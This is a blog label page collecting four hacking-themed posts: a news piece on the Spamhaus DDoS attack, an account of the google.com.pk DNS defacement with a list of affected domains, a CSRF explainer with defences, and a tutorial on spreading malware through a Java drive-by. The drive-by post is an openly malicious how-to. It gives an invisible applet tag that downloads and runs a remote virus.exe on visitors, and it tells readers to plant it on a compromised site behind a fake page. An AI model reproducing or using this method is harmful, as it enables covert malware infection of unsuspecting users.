KNOX D3: Website hacking

Showing posts with label Website hacking. Show all posts

Anotomy of The Largest DDOS Attack That Almost Took Down The Internet

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDIpabjAv-ioqgJcbREhg8opjcII1_oT6IaWom1rr2a-rU4jTMARkpEyHkmHVVYNSX-ZrJ2Y2lJm1avZZ6P9ETk8u9hnOc3H7E-YQBZmZUE2J7AuU-Lhc3G94NkJXzeJilSmivzZ7TNE/s1600/DOS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDIpabjAv-ioqgJcbREhg8opjcII1_oT6IaWom1rr2a-rU4jTMARkpEyHkmHVVYNSX-ZrJ2Y2lJm1avZZ6P9ETk8u9hnOc3H7E-YQBZmZUE2J7AuU-Lhc3G94NkJXzeJilSmivzZ7TNE/s320/DOS.jpg" width="320" /></a></div>  Recently, the largest DDOS attack in the history of the internet has been noticed, According to the reports from various websites; the attack was of more than 300GB/second. It all started when Spamhaus(NON PROFIT ORGAZNIATION) that manages the spam filters for various websites blacklisted a Dutch based webhosting company Cyberbunker, Cyberbunker allows a user to host everything else than Child pornography and stuff related to terrorism. This allows an attacker to host any malicious software such as botnet. A botnet can be used for variety of purposes ranging from stealing credit card information, infecting PC's to even denial of service attacks. In a interview with bbc, Spamhaus blamed the Cyberbunker for the ongoing attacks, they said that Cyberbunkers have joined hands with attackers to perform DDOS attacks in order to compromise the availability. <a name="more"></a> The attack was a Denial of service attacks, which is often used by attackers to compromise the availability of the website by flooding the website with huge number of packets (In most cases), The DDOS attack was aimed at the DNS servers of Spamhaus, A DNS server is responsible for the translation of an IP address to domain name, In simple words, When we are accessing any website on the internet, on the back end we are actually accessing the IP address, DNS simplifies the process. The experts call the attack as the biggest DDOS attack in the history of the internet, Normally, when we talk about a massive DDOS attack against huge infrastructures, It ranges from 30 to 50 GB per second of traffic, however this attack was more than 300gbps per traffic. The company moved to Cloudfare(A web performance and security company) in order to protect their services from been taken down, Initially they were receiving 10GBPS of traffic, but it got even the worse the attack and the highest peak noted was around 300GBPS. However, instead of going after Spamhaus the attackers targeted Cloudfare itself, the attackers failed to knock Cloudfare servers, even after a 100GIGS of traffic, after that they targeted the bandwidth providers of Cloudfare known as "Tier2", who itself buy bandwidth from Tier1 provider. The major traffic load was carried out by Tier1, which reported more than 300GBPS of traffic, making it the largest DDOS attack ever. Now, one might think that, how is it slowing down the internet?, it's because, this is how the internet works as internet is simply a collection of networks, Let's say, when we are connecting to google.com from Pakistan, our browser sends a http requests, the browser sends/receives a packets which are hopped across lots of routers/networks in between until they reach the Google servers. As mentioned previously Tier2 buys bandwidth from Tier1, Tier1 connects to other Tier1 providers to ensure that all the networks are connected with each other.Tier1 providers are the core of the internet, the Tier1 provider ended up suffering all the traffic. It is reported by Cloudfare that Tier1 providers for Europe were affected, as a reason of which, internet slowdown was noticed for people surfing the internet in those areas. However, In Pakistan, the severity was very low, therefore major slow down was not noticed. Lots of Pakistani websites are hosted abroad, the following is the list of them: www.pakistan.gov.pk(Main Pakistan Government Portal) www.infopak.gov.pk(Ministry of Information and Broadcasting) www.interior.gov.pk(Ministry of Interior) www.e-government.gov.pk(E Government Directorate) www.pta.gov.pk(Pakistan Telecom Authority) www.pc.gov.pk(Planning Commission) www.sindh.gov.pk(Government of Sindh) As as result of the outage they are suffering the outage and lots of Pakistani users are not able to access the websites, If we host these servers in Pakistan, Initially the attack would be mitigated, however it would raise a lot of security concerns, Since Pakistani servers would be more easy for attackers to compromise and knock them off, due to poor security and patch management. Also, I don't see any of the protection against DOS attacks; perhaps if they could acquire Cloudfare protection services, the DOS attacks would be mitigated easily.</div>

Anotomy of The Largest DDOS Attack That Almost Took Down The Internet

Recently, the largest DDOS attack in the history of the internet has been noticed, According to the reports from various websites; the atta...

+ Read more »

How Attackers Spread Malware With Java Drive by?

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://www.foto.pk/images/cpature.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.foto.pk/images/cpature.jpg" /></a></div> Hello RHA fans, We are back with a new tutorial. Well making a malicious virus is one thing but how to spread it? Or how hackers hunt for victims? Well you will definitely be disappointed when you’ll know that this trick fails sometimes! Victims are now mostly aware of the old social engineering stuff.  But cheers up my friend there's no end, i will show you a very effective methods that attackers use to spread malicious viruses/worms. <a name="more"></a> Well In this tutorial RHA will show you to spread virus with JAVA DRIVE BY! <h4>What is java drive by:</h4>A Java Drive-By is a Java Applet that is coded in Java, when placed on a website. Once you click "Run" on the pop-up, it will download a program off the internet. This program can be used to spread a virus and malware effectively and has been spotted in the wild. We can execute .exe files in victims’ computer without their permission with the help of java drive by. You can see the image of error below this: <div class="separator" style="clear: both; text-align: center;"><a href="http://foto.pk/images/capturlcl.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="270" src="http://foto.pk/images/capturlcl.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"> </div>Okay so whats the scenario behind this? well this is a java script in the source which pop ups the error, So lets learn how to do the job. <h4>Tools we need in this game are: </h4>i) a .jar file which is the main player of this game. Download it from here http://www.mediafire.com/?mmafl2carb1s159 ii) A shelled web where you will upload files for JAVA DRIVE BY! Plus you should know basic HTML to make a attractive web page. iii) A java script which is the backbone of your game. Now lets get started, Upload you .jar file on the shelled web, than create a fake webpage its up to you how you much you make fake webpage attractive, but you have to add the java code due to which the pop up error will appear <h4>Java Code: </h4><APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">     <PARAM NAME = "AMLMAFOIEA" VALUE = "http://www.yoursite.com/virus.exe"> So add the above code in your face webpage, just make some changes replace VALUE = "http://www.yoursite.com/virus.exe" with your virus like the image below: <div class="separator" style="clear: both; text-align: center;"><a href="http://www.foto.pk/images/capturfzf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="57" src="http://www.foto.pk/images/capturfzf.png" width="640" /></a></div> So this is it! Simplest and most effective method used by attackers to spread your malicious software. <h4> About the author </h4><div>This article has been written by fahad awan, He is the newest author on RHA team. We wish him best of luck with his tutorials. </div></div>

How Attackers Spread Malware With Java Drive by?

Hello RHA fans, We are back with a new tutorial. Well making a malicious virus is one thing but how to spread it? Or how hackers hunt for v...

+ Read more »

How Google Pakistan Was Hacked?

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpGIC2BYc9tokbz9VZyBiUp3utWrTM8ApRRHJFvXT0RSVnoH5IK1RpLmuGA7q5X2JMjp83-LJ-pHMfTSMov67qTNdgCegsi-3KNbptMUqlhNCka3BjWUk_nVf6R1ZSaR4c71F51zZ0CZw/s1600/Google-Pakistan+(1).png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpGIC2BYc9tokbz9VZyBiUp3utWrTM8ApRRHJFvXT0RSVnoH5IK1RpLmuGA7q5X2JMjp83-LJ-pHMfTSMov67qTNdgCegsi-3KNbptMUqlhNCka3BjWUk_nVf6R1ZSaR4c71F51zZ0CZw/s640/Google-Pakistan+(1).png" width="640" /></a></div><div> </div>Today morning, when i accessed google.com.pk, I was surprised to see the defacement page of turkish hackers, Later on i came to know that other websites such as Microsoft.com.pk were also defaced this morning. On checking the name servers with nslookup, the DNS servers were pointing towards another website, It was clear that the hacker compromised the DNS server and changed the DNS servers to their own, where they had their defacement page. The above image appeared on major .pk domains, when users were trying to access them. <div class="separator" style="clear: both; text-align: center;"></div><a name="more"></a>Some time later the page started pointing towards google.com instead of google.com.pk, However the name servers of all .pk domains are still pointing towards freehostia. <div>            <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsdKgXiXAhBlNJTN2Tl6Qe2kf7kskVXWoZn2_c5ySn7kW6Yc7aqY7Iee25BMWBATkByyONilWn3ctM2BgHzyzkSqm6O4StSY_qT4uDYyKqiOEDoTiVHcfO04FmRBEvbkLJN2Fjan7Z9k/s1600/nameservers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsdKgXiXAhBlNJTN2Tl6Qe2kf7kskVXWoZn2_c5ySn7kW6Yc7aqY7Iee25BMWBATkByyONilWn3ctM2BgHzyzkSqm6O4StSY_qT4uDYyKqiOEDoTiVHcfO04FmRBEvbkLJN2Fjan7Z9k/s1600/nameservers.png" /></a> How was Google Pakistan Hacked?</div><div> </div><div>So as i mentioned earlier that it looks to me that the registrar that was responsible for Google's DNS records may have been compromised and the records were changed, so when users went to google.com.pk they were redirected to different website which was setup by Turkish hacker to make it look that google.com.pk has been actually compromised. </div><div> </div><div> </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgysHg3M7epJJeEf-51o9dCBY0qLUPETxHXxcz3weNIXxrmcoxdVyClSXkK-BZxQvoVADBctP6nPHdbYfsQtZ9xctG_FDF96aY_ZSoGwJle61m09Wn_EjV_6G69J2IMmbeo7tyVgBAHrKU/s1600/whois.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgysHg3M7epJJeEf-51o9dCBY0qLUPETxHXxcz3weNIXxrmcoxdVyClSXkK-BZxQvoVADBctP6nPHdbYfsQtZ9xctG_FDF96aY_ZSoGwJle61m09Wn_EjV_6G69J2IMmbeo7tyVgBAHrKU/s1600/whois.png" /></a></div><div class="separator" style="clear: both; text-align: center;"> </div><div>By a quick whois search i came to know that the registrar that is responsible to PKNIC domains is MarkMonitor, The is a huge chance that the turkish hackers may have gained access to MarkMonitor and then would have changed the DNS servers. Another possibility is that the hackers may have used an attack called "DNS Cache Poisoning" in order to change the DNS servers. I will update this page as soon as i have more updates regarding this attack. Update: Here is the Full List Of Compromised Domains: google.com.pk microsoft.pk biofreeze.com.pk blackstone.pk blogspot.pk itunes.pk gmails.pk zynga.com.pk chrome.com.pk chrome.pk visa.com.pk bx.com.pk abbvie.com.pk abbvie.pk cgma.pk chacos.com.pk cimacpa.pk cisco.pk ciscosystems.pk blogspot.com.pk cpacima.pk cpaintl.pk cpaldglobal.pk cpalwglobal.pk drivealliance.pk eastman.biz.pk eastman.net.pk eastman.org.pk ebay.pk monatin.pk everyblock.pk youtube.pk 3com.web.pk hp.web.pk revlon.pk streetwear.pk windows7.pk windows8.pk windowsrt.pk yahoo.pk yahoomaktoob.pk zynga.pk firstdirect.com.pk flickr.pk fordgofurther.pk gbuzz.pk gmailbuzz.pk gmail.pk googlebrowser.com.pk google.pk googlebuzz.pk googlechrome.com.pk abbviepharmaceuticals.pk abbviepharmaceuticals.com.pk hewlettpackard.pk hexagon.com.pk hsbcamanah.biz.pk hotmail.com.pk hpcloud.com.pk hp.com.pk hpscalene.com.pk hsbc.biz.pk hsbcadvance.com.pk hsbc.pk hsbcpremier.com.pk hsbcprivatebank.biz.pk hsbcamanah.com.pk hsbcdirect.com.pk hsbcnet.com.pk hsbcpremier.biz.pk hsbcpremier.pk hsbcprivatebank.com.pk investdirect.biz.pk investdirect.com.pk ipod.pk jaiku.pk kellyservices.com.pk maktoob.pk markmonitor.pk microsoftsmartglass.com.pk microsoftsmartglass.pk xboxsmartglass.com.pk xboxsmartglass.pk msn.org.pk windowsstore.pk windowsstore.com.pk opteron.com.pk parkplaza.pk paypal.pk postini.pk scalene.com.pk schwab.biz.pk schwab.com.pk sonystyle.com.pk streetwear.com.pk theworldslocalbank.com.pk genapp.pk genapp.com.pk generationapp.pk generationapp.com.pk windows.com.pk windows7.com.pk windows8.com.pk 3com.biz.pk 3com.fam.pk 3com.net.pk 3com.org.pk gchrome.com.pk aicpacima.pk </div></div>Update 2: Due to the Propogation of Google's name servers to Freehostia's nameservers, It made attackers to create any non-existing subdomain under compromised websites, For example rafaybaloch.google.com.pk. All the attacker would need to do is to register the non-existing subdomain under freehostia and add an index. Update 3: It seems that Google.com.pk has been finally restored and the nameservers are again pointing to dns.google.com.pk. <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeiVJnPADaxfJzDFm90epcgflDZRYhARIVzYszv_gBzMVKJt4CyRAhjE4Ip1spdIKPUb7skbF8_Digd3EPbZyVI0afSaNBmA27YcrnazD-lF09WuB5n2UCAEq03-bgUwB01SdD-KZfzi8/s1600/R.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeiVJnPADaxfJzDFm90epcgflDZRYhARIVzYszv_gBzMVKJt4CyRAhjE4Ip1spdIKPUb7skbF8_Digd3EPbZyVI0afSaNBmA27YcrnazD-lF09WuB5n2UCAEq03-bgUwB01SdD-KZfzi8/s640/R.png" width="577" /></a></div>

How Google Pakistan Was Hacked?

Today morning, when i accessed google.com.pk, I was surprised to see the defacement page of turkish hackers, Later on i came to know that ot...

+ Read more »

Website Hacking With CSRF Attack

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPYSsqBbwStLJyLZD037LRO5v2bNHZhiFG_4xgTepJmVPZ4JXOB9wtQdasifIH1e8HLO42bEAjN2-XYcKiS_A3QvHeLt_6vD1rlxl95NjbbUMDWZ2nYr-j4bs8JoA7GD7WvNMtVXBy0wU/s1600/3832924543_a4e2db504f_o.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPYSsqBbwStLJyLZD037LRO5v2bNHZhiFG_4xgTepJmVPZ4JXOB9wtQdasifIH1e8HLO42bEAjN2-XYcKiS_A3QvHeLt_6vD1rlxl95NjbbUMDWZ2nYr-j4bs8JoA7GD7WvNMtVXBy0wU/s640/3832924543_a4e2db504f_o.png" width="577" /></a></div> Cross Site Request Forgery Attack is also known as CSRF or XSRF in short. Do not confuse it with Cross Site Scripting attack because it is totally different from that. Like SQL injection and XSS, CSRF is also one in top 10 OWASP web vulnerabilities for many years. <a name="more"></a> What is Cross Site Request Forgery Attack? Cross Site Request Forgery or CSRF is an attack method in which attacker exploit users' active session in the browser without the permission of innocent user. By using victim's browser session, attacker sends valid requests to a website that perform some action in users' account. User will not be able to know that the request has been sent from his browser. An Attacker uses some third party innocent websites to generate these valid requests from user’s browser. EX: If a form on a website can also be submitted from some other website, It is vulnerable to CSRF. Suppose there is a form on a vulnerable website (http://www.vulnerablesite.com/vulnerable.php) <form action=”action.php” method=”post”> </form> And I made a duplicate form on my local host <form action=” http://www.vulnerablesite.com/action.php” method=”post”> </form> I am able to submit the form by using the form on my localhost, the website is vulnerable to the CSRF attack This attack uses user's session to perform malicious task, so it is also known as "Session Riding attack."Sometimes it is hard to understand how this attack works in real life. So I am explaining it with the help of a example. Suppose if an online payment website like Paypal has CSRF vulnerability. Attacker A want to exploit CSRF vulnerability of this website and attack on victim B. For this he use some third party website. Innocent User B login into his account to do check the balance and then switch to a new tab without logging out from the older tab. Session is active on the browser. Attacker A had posted a link or image in a website that on load submits the payment transfer form to transfer money to the attacker's account by using active session. As the request came from user's browser by his session, CSRF vulnerable website will transfer the fund. How CSRF is different from XSS Many people have confusion inn between CSRF and XSS attack. In XSS, attacker exploit the trust of users on website. So we inject malicious script and user believes on it just because he see a valid website URL. Unlike XSS, in CSRF attacker exploits the website's trust on the browser. In this, a website thinks tha a request camre from the user's browser is made by user itself. Both vulnerabilities are dangerous enough. Protection against CSRF attack: Many people thinks that limiting against XSS also limits CSRF. But this is not true. We have to make so many things to limit the attack. There are many ways to protect the CSRF attack. Some important ways are given below: <ul style="text-align: left;"><li>Checking the HTTP Referrer header website. If it is a different domain, deny the request.</li><li>Limiting the lifetime of authentication cookies. If user is inactive for some fixed time, the session must be expired.</li><li>Limit the damage by authenticating each request made by user. </li><li>Use of random token for each session</li></ul>About Author: Deepanker Verma is a security researcher and tech blogger. You can read his security blog at <a href="http://www.hackingtricks.in/" target="_blank">HackingTricks</a>.</div>

Website Hacking With CSRF Attack

Cross Site Request Forgery Attack is also known as CSRF or XSRF in short. Do not confuse it with Cross Site Scripting attack because it is t...

+ Read more »